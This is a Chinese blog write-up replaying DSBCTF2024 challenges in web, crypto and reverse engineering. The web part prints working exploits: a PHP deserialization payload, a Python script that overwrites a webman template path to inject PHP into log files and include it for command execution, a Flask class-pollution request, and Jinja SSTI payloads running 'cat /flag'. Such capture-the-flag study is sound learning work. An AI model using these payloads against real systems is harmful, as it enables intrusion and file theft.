DSBCTF2024(复现)

本文最后更新于 2024年11月14日 下午

前言:妹打就不代表我不会,跟着题目学习学习吧

web

签到·好玩的PHP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
error_reporting(0);
highlight_file(__FILE__);

class ctfshow {
private $d = '';
private $s = '';
private $b = '';
private $ctf = '';

public function __destruct() {
$this->d = (string)$this->d;
$this->s = (string)$this->s;
$this->b = (string)$this->b;

if (($this->d != $this->s) && ($this->d != $this->b) && ($this->s != $this->b)) {
$dsb = $this->d.$this->s.$this->b;

if ((strlen($dsb) <= 3) && (strlen($this->ctf) <= 3)) {
if (($dsb !== $this->ctf) && ($this->ctf !== $dsb)) {
if (md5($dsb) === md5($this->ctf)) {
echo file_get_contents("/flag.txt");
}
}
}
}
}
}
unserialize($_GET["dsbctf"]);

简单的分析一下就是传参进行比较,就可以得到flag了

考察的知识点是PHP特殊浮点常量INF和NAN

对于d,s,b传入三个不同的值,互不相等,拼接起来之后不于ctf的值相等,但是两者的MD5值强等于

INFNAN这两个常量转化为字符串类型之后的MD5值和原先的浮点类型MD5值相等,由于类型不相等,长度均为3,可以满足条件绕过,根据所有条件的限制,最后上exp

1
2
3
4
5
6
7
8
9
10
<?php

class ctfshow {
private $d = 'I';
private $s = 'N';
private $b = 'F';
private $ctf = INF;
}
$exp =new ctfshow();
echo urlencode(serialize($exp));

迷雾重重

先看题目的控制器的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php

namespace app\controller;

use support\Request;
use support\exception\BusinessException;

class IndexController
{
public function index(Request $request)
{

return view('index/index');
}

public function testUnserialize(Request $request){
if(null !== $request->get('data')){
$data = $request->get('data');
unserialize($data);
}
return "unserialize测试完毕";
}

public function testJson(Request $request){
if(null !== $request->get('data')){
$data = json_decode($request->get('data'),true);
if(null!== $data && $data['name'] == 'guest'){
return view('index/view', $data);
}
}
return "json_decode测试完毕";
}

public function testSession(Request $request){
$session = $request->session();
$session->set('username',"guest");
$data = $session->get('username');
return "session测试完毕 username: ".$data;

}

public function testException(Request $request){
if(null != $request->get('data')){
$data = $request->get('data');
throw new BusinessException("业务异常 ".$data,3000);
}
return "exception测试完毕";
}


}

看起来像是反序列化和session的题目,but不是,漏洞应该在

1
2
3
4
5
6
7
8
9
public function testJson(Request $request){
if(null !== $request->get('data')){
$data = json_decode($request->get('data'),true);
if(null!== $data && $data['name'] == 'guest'){
return view('index/view', $data);
}
}
return "json_decode测试完毕";
}

跟踪一下在这里的raw.php文件的第68行内容

1
\vendor\workerman\webman-framework\src\support\view
1
2
3
4
5
6
7
8
9
10
11
12
if(isset($request->_view_vars)) {
extract((array)$request->_view_vars);
}
extract($vars);
ob_start();
// Try to include php file.
try {
include $__template_path__;
} catch (Throwable $e) {
ob_end_clean();
throw $e;
}

$var就是view方法的第二个参数,污染和过滤 直接导入符号表 形成变量覆盖的漏洞,需要覆盖$__template_path__就行了

不存在阿帕奇和nginx,排除日志包含,不是session的竞争

官p的解释是包含框架日志文件,包含php代码会导致include失败,从而将报错信息不urlencode情况下,写入日志文件,正好包含getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import requests
import time
from datetime import datetime

# 注意 这里题目地址 应该https换成http
url = "http://7a0ef514-570f-49b8-814a-fba44caa91cc.challenge.ctf.show/"


# Author: ctfshow h1xa
def get_webroot():
print("[+] Getting webroot...")

webroot = ""

for i in range(1, 300):
r = requests.get(
url=url + 'index/testJson?data={{"name": "guest", "__template_path__": "/proc/{}/cmdline"}}'.format(i))
time.sleep(0.2)
if "start.php" in r.text:
print(f"[\033[31m*\033[0m] Found start.php at /proc/{i}/cmdline")
webroot = r.text.split("start_file=")[1][:-10]
print(f"Found webroot: {webroot}")
break
return webroot


def send_shell(webroot):
# payload = 'index/testJson?data={{"name":"guest","__template_path__":"<?php%20`ls%20/>{}/public/ls.txt`;?>"}}'.format(webroot)
payload = 'index/testJson?data={{"name":"guest","__template_path__":"<?php%20`cat%20/s00*>{}/public/flag.txt`;?>"}}'.format(
webroot)
r = requests.get(url=url + payload)
time.sleep(1)
if r.status_code == 500:
print("[\033[31m*\033[0m] Shell sent successfully")
else:
print("Failed to send shell")


def include_shell(webroot):
now = datetime.now()
payload = 'index/testJson?data={{"name":"guest","__template_path__":"{}/runtime/logs/webman-{}-{}-{}.log"}}'.format(
webroot, now.strftime("%Y"), now.strftime("%m"), now.strftime("%d"))
r = requests.get(url=url + payload)
time.sleep(5)
r = requests.get(url=url + 'flag.txt')
if "ctfshow" in r.text:
print("=================FLAG==================\n")
print("\033[32m" + r.text + "\033[0m")
print("=================FLAG==================\n")
print("[\033[31m*\033[0m] Shell included successfully")
else:
print("Failed to include shell")


def exploit():
webroot = get_webroot()
send_shell(webroot)
include_shell(webroot)


if __name__ == '__main__':
exploit()
1
2
3
通过遍历 /proc/{i}/cmdline,猜测每个进程的命令行内容,寻找包含 start.php 的进程。通过某些特定的进程或者系统服务来确定Web根目录
通过发送特制的payload,将恶意PHP代码注入到目标Web应用中。这个PHP代码会在服务器上执行命令并将结果写入到指定的文件中。
使用Web应用生成的日志文件来绕过可能的安全检查。通过让PHP代码被写入到日志文件中,并通过 include 机制被执行,从而获取敏感信息

是没太懂

ez_inject

先前端注册一个账户,进去发现没权限,发现有cookie值

用flask-unsign看一下内容

2024-11-13163245

这里就写个非预期吧预期解可以看出题人的博客,下面是预期解

DSBCTF2024 | hacking the future (baozongwi.xyz)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
import json

url = "http://694380d1-75a1-414d-b790-643f00f64178.challenge.ctf.show/register"

payload={
"username": "orangee",
"password": "orangee",
"__init__": {
"__globals__": {
"app": {
"_static_folder":"/"
}
}
}
}

r = requests.post(url=url, json=payload)

print(r.text)

访问/static/flag就可以拿到答案了

ezzz_ssti

先fenjing一下没出的来,只能手输入了,测试了一下有长度的限制

题解是利用config的update拼接得到的注入

1
2
3
{{config.update(a=lipsum.__globals__)}}
{{config.update(b=config.a.os.popen)}}
{{config.b('cat /flag').read()}}

简单的文件上传

题目描述:jre1.8 php7.2 不需要 扫描 爆破 竞争 盲注

  • 可以上传jar后缀文件
  • 可以删除上传后的jar包
  • 输入jar文件名称,可以执行jar包
  • 执行后 有执行回显

‍‬‌‬‌⁠⁠⁠‍‍⁠⁠⁠⁠‬⁠⁠‍CTFshow DSBCTF 官方WP

剩下的看官p吧,不会java


web复现了几点还是学到挺多知识的,其他方向的题我随缘写写。

crypto

签到·一把梭

先正常的long_to_bytes然后写个脚本简单爆破一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from Crypto.Util.number import *
def find_eth_root(c, e, n):
low = 0
high = n
while low < high:
mid = (low + high) // 2
if pow(mid, e, n) == c:
return mid
if pow(mid, e, n) < c:
low = mid + 1
else:
high = mid
return None
n = 0x846d39bff2e430ce49d3230c7f00b81b23e4f0c733f7f52f6a5d32460e456e5f
c = 0x4eeec51849a85e5a6566f8d73a74b1e64959aa893f98e01c1e02c3120496f8b1

for d in range(1, 101):
try:
phi = (n-1)
e = pow(d, -1, phi)
m = pow(c, d, n)
flag = long_to_bytes(m)
if b'flag' in flag.lower() or b'ctf' in flag.lower():
print(f"Found potential flag with d={d}:")
print(flag)
break
except:
continue

古典古典古典

古典套题出到密码里我统一说烂,跟着写一遍

1
UUxRQjFBU19NWkFFe1pPX0xBMV9PMVVOU31OV05aX0IxSA==

这个密文,先进行base64解密,得到这个

1
QLQB1AS_MZAE{ZO_LA1_O1UNS}NWNZ_B1H

hint:{}位置对了就能出了吗?什么加密会保留{}位置

尝试栅栏密码,因为看着像

w型的栅栏得到了这个内容

1
QZNALEW{QZNOB_ZL1A_1A_BOS11U_NHSM}

发现不能得出还需要凯撒,进行mod19

1
XGUHSLD{XGUVI_GS1H_1H_IVZ11B_UOZT}

最后进行atbash

1
CTFSHOW{CTFER_TH1S_1S_REA11Y_FLAG}

评价就是纯烂,没新意

Re

签到·easyRE

找到对应的class,先base解密一下得到内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.nio.charset.StandardCharsets;
import java.security.SecureRandom;
import java.util.*;

public class D8yDSBCTF {

private static final String P3WSSK = "AES/ECB/PKCS5Padding";
private static final String C89SYS__ = "abcdefghijklmnopqrstuvwxyz";
private static final String C7yyfggl = C89SYS__.toUpperCase();
private static final String N9SSCRT = "0123456789";
private static final String D9UUSACR = C89SYS__ + C7yyfggl + N9SSCRT;
private static SecureRandom rf3ffc = new SecureRandom();
public void start() throws Exception {
String key = b3f7a__0x337f2a(a98fac77f__3c2a(1<<4)).get(1);
String e3yfbbglsk = b3f7a__0x337f2a(a98fac77f__3c2a(1<<4)).get(0);
Scanner scanner = new Scanner(System.in);
System.out.println("please input password:");
String i3clscwyt = scanner.nextLine();
if (e3c7go_to(i3clscwyt,key).equals(e3yfbbglsk)) {
System.out.println("Login Successful");
} else {
System.out.println("Login Failed");
}
}
private List<String> b3f7a__0x337f2a(String a783c_7fxf__) {
final String f37xcrxedrd_ = "jvjeTQVGcDGPgFeC+E90Pz6wYzjcBK49YDx2W+6YFTjk/wma7Oa5J3O2ns8OptbxyNgIvYJf/J4BRJOat0LY2A==";
StringBuilder c0fybbg = new StringBuilder();
List<String> l2crsys = new ArrayList<String>();
char[] f117xc = f37xcrxedrd_.toCharArray();
for (char c : f117xc) {
c0fybbg.append((char)(((c >>> 4 ^ (c << 4) ^ (c >>> 4))) >> 4));
}
l2crsys.add(c0fybbg.substring(0,c0fybbg.length()-24));
l2crsys.add(c0fybbg.substring(l2crsys.get(0).length(),c0fybbg.length()));
return l2crsys;
}
public String a98fac77f__3c2a(int length) {
if (length < 1) throw new IllegalArgumentException("Length must be positive");

StringBuilder s7cyscrs = new StringBuilder(length);
for (int i = 0; i < length; i++) {
int randomIndex = rf3ffc.nextInt(D9UUSACR.length());
s7cyscrs.append(D9UUSACR.charAt(randomIndex));
}
return s7cyscrs.toString();
}
public String e3c7go_to(String coysc21k, String k89csbbv) throws Exception {
while (k89csbbv.getBytes(StandardCharsets.UTF_8).length < 16) {
k89csbbv += k89csbbv;
}
byte[] keyBytes = k89csbbv.substring(0, 16).getBytes(StandardCharsets.UTF_8);
SecretKeySpec s88vfy = new SecretKeySpec(keyBytes, "AES");
Cipher c1ppy = Cipher.getInstance(P3WSSK);
c1ppy.init(Cipher.ENCRYPT_MODE, s88vfy);
byte[] encryptedBytes = c1ppy.doFinal(coysc21k.getBytes(StandardCharsets.UTF_8));
return Base64.getEncoder().encodeToString(encryptedBytes);
}
}

根据分析取密文和密钥 然后 最后24个字符是key

1
2
3
4
5
6
7
8
9
10
11
12
private  List<String> b3f7a__0x337f2a(String a783c_7fxf__) {
final String f37xcrxedrd_ = "jvjeTQVGcDGPgFeC+E90Pz6wYzjcBK49YDx2W+6YFTjk/wma7Oa5J3O2ns8OptbxyNgIvYJf/J4BRJOat0LY2A==";
StringBuilder c0fybbg = new StringBuilder();
List<String> l2crsys = new ArrayList<String>();
char[] f117xc = f37xcrxedrd_.toCharArray();
for (char c : f117xc) {
c0fybbg.append((char)(((c >>> 4 ^ (c << 4) ^ (c >>> 4))) >> 4));
}
l2crsys.add(c0fybbg.substring(0,c0fybbg.length()-24));
l2crsys.add(c0fybbg.substring(l2crsys.get(0).length(),c0fybbg.length()));
return l2crsys;
}

最后解密


DSBCTF2024(复现)
https://0ran9ewww.github.io/2024/11/14/ctfshow/DSBCTF复现/
作者
orange
发布于
2024年11月14日
许可协议